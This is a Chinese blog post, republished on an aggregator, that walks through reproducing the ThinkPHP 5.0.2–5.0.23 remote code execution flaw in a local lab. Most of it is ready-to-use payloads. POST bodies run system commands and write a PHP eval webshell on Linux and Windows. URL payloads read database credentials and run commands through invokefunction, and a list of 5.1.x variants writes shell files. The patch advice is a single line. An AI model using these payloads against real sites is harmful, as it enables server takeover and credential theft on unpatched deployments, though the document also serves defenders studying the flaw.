ThinkPHP 5.0.2 - 5.0.23 RCE 漏洞复现

分类：ThinkPHP作者：编程之家用户

0x00 简介

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初，2007年元旦正式更名为ThinkPHP，并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。并且拥有众多原创功能和特性，在社区团队的积极参与下，在易用性、扩展性和性能方面不断优化和改进。

0x01 漏洞概述

由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。

0x02 影响版本

ThinkPHP5 5.0.2 - 5.0.23

0x03 环境搭建

测试环境：ThinkPHP_5.0.22
ThinkPHP_5.0.22下载
下载完后解压到 phpstudy 的 www 文件夹内
访问 http://127.0.0.1/thinkphp/public/ 可看到页面

0x04 漏洞利用

1、访问 http://127.0.0.1/thinkphp/public/index.php?s=captcha 并抓包

2、构建 POC 并发包

3、使用蚁剑连接

POC：
通过发包

POST /thinkphp/public/index.php?s=captcha HTTP/1.1

#  查看当前用户
_method=__construct&filter[]=system&method=get&get[]=whoami

#  写入 WebShell（Linux）
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST['pass']);?>" > 1.php

#  写入 WebShell（Windows）
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo ^<?php @eval($_POST['pass']);?^> > 1.php

通过 URL

#  查看数据库用户名
http://127.0.0.1/thinkphp/public/index.php?s=.|think\config/get&name=database.username

#  查看数据库密码
http://127.0.0.1/thinkphp/public/index.php?s=.|think\config/get&name=database.password

#  查看当前用户
http://127.0.0.1/thinkphp/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

#  phpinfo
index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
其他版本 POC
当 PHP7 以上无法使用 Assert 的时候用
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo();
ThinkPHP5
http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
ThinkPHP 5.0.21
http://127.0.0.1/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://127.0.0.1/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
ThinkPhP 5.1.*
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd

http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

0x05 漏洞修复

升级到5.0.24及以上，不开启debug模式

0x06 参考 URL

https://xz.aliyun.com/t/3845
https://blog.csdn.net/qq_29647709/article/details/84956221
https://www.freebuf.com/vuls/194127.html

原文地址：https://www.cnblogs.com/anonymous-test/p/14295159.html

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 dio@foxmail.com 举报，一经查实，本站将立刻删除。

相关推荐

添加数据
(1)创建数据表： CREATE TABLE IF NOT EXISTS `think_form` (   `id` smallint(4) unsigned NOT NULL AUTO_INCREMENT,
组合查询
组合查询的主体还是采用数组方式查询，只是加入了一些特殊的查询支持，包括字符串模式查询（_string）、复合查询（_complex）、请求字符串查询（_query），混合查询中的特殊查询每次查询只能定义一个，由于采用数组的
更新数据
(1)创建模版：/App/Home/View/Form/edit.html   <FORM method=\"post\" action=\"__URL__/update\">
加载自定义配置文件
自定义配置文件user.php: <?php return array(    \'sex\'=>\'man\', ); config.php: <?php return array(
ThinkPHP中如何重写配置文件
在一些成熟的CMS系统中，后台一般都包含一个配置中心（如织梦后台中系统设置），以方便站长在后台修改配置文件；那么这个功能是如果实现的呢？在ThinkPHP中有没有捷径可走呢？答案肯定是有的。下面大概说一下这个功能
thinkphp简洁、美观、靠谱的分页类
废话不多说先上图预览下，即本博客的分页； 这个分页类是在thinkphp框架内置的分页类的基础上修改而来，原分页类的一些设计，在实际运用中感觉不是很方便；
Thinkphp模板中截取字符串函数简介
在php中截取字符串的函数有很多，而在thinkphp中也可以直接使用php的函数，本文给大家简单的介绍thinkPHP模板中截取字符串的具体用法，希望能对各位有所帮助。
thinkphp ajaxfileupload实现异步上传图片的示例
thinkphp开发图片上传，图片异步上传是目前比较方便的功能,这里我就不写css文件了，将代码写出来。
配置数据库
配置数据库：/app/Common/Conf/config.php 方法一： // 添加数据库配置信息 \'DB_TYPE\'   => \'mysql\',// 数据库类型
首页控制器
/app/Home/Controller/IndexController.class.php
读取数据库数据
(1)创建数据表： CREATE TABLE IF NOT EXISTS `think_data` (   `id` int(8) unsigned NOT NULL AUTO_INCREMENT,
设置首页模版
(1)控制器设置：/app/Home/Controller/IndexController.class.php <?php namespace HomeController; use ThinkController;
URL请求
(1)普通模式 http://localhost/index.php?m=module&a=action&var=value m参数表示模块，a操作表示操作（模块和操作的URL参数名称是可以配置的），后面的表示其他GET参数。
thinkphp将含有html代码的内容保存到数据库
入库的时候用htmlspecialchars()处理含有html代码的内容 输出的时候用htmlspecialchars_decode()处理含有html代码的内容
创建项目：/index.php
<?php define(\'APP_NAME\',\'app\'); define(\'APP_PATH\',\'./app/\'); define(\'APP_DEBUG\',TRUE); // 开启调试模式
读取单条数据
(1)创建控制器中定义read方法：/App/Home/Controller/FormController.class.php public function read($id=0){
快捷查询
一、实现不同字段相同的查询条件 $User = M(\"User\"); // 实例化User对象 $map[\'name|title\'] = \'thinkphp\';
内部操作添加数据
如果你的数据完全是内部操作写入而不是通过表单的话（也就是说可以充分信任数据的安全），那么可以直接使用add方法，如：
表达式查询
查询表达式的使用格式： $map[\'字段名\'] = array(\'表达式\',\'查询条件\'); 表达式不分大小写，支持的查询表达式有下面几种，分别表示的含义是：
查询方式
一、使用字符串作为查询条件 $User = M(\"User\"); // 实例化User对象 $User->where(\'type=1 AND status=1\')->select(); 
pythonJavaScriptjavaHTMLPHPreactjsC#AndroidCSSNode.jssqlrpython-3.xMysqLjQueryc++pandasFlutterangularIOSdjangolinuxswifttypescript路由器JSON路由器设置无线路由器h3c华三华三路由器设置华三路由器电脑软件教程arraysdocker软件图文教程Cvue.jslaravelspring-boot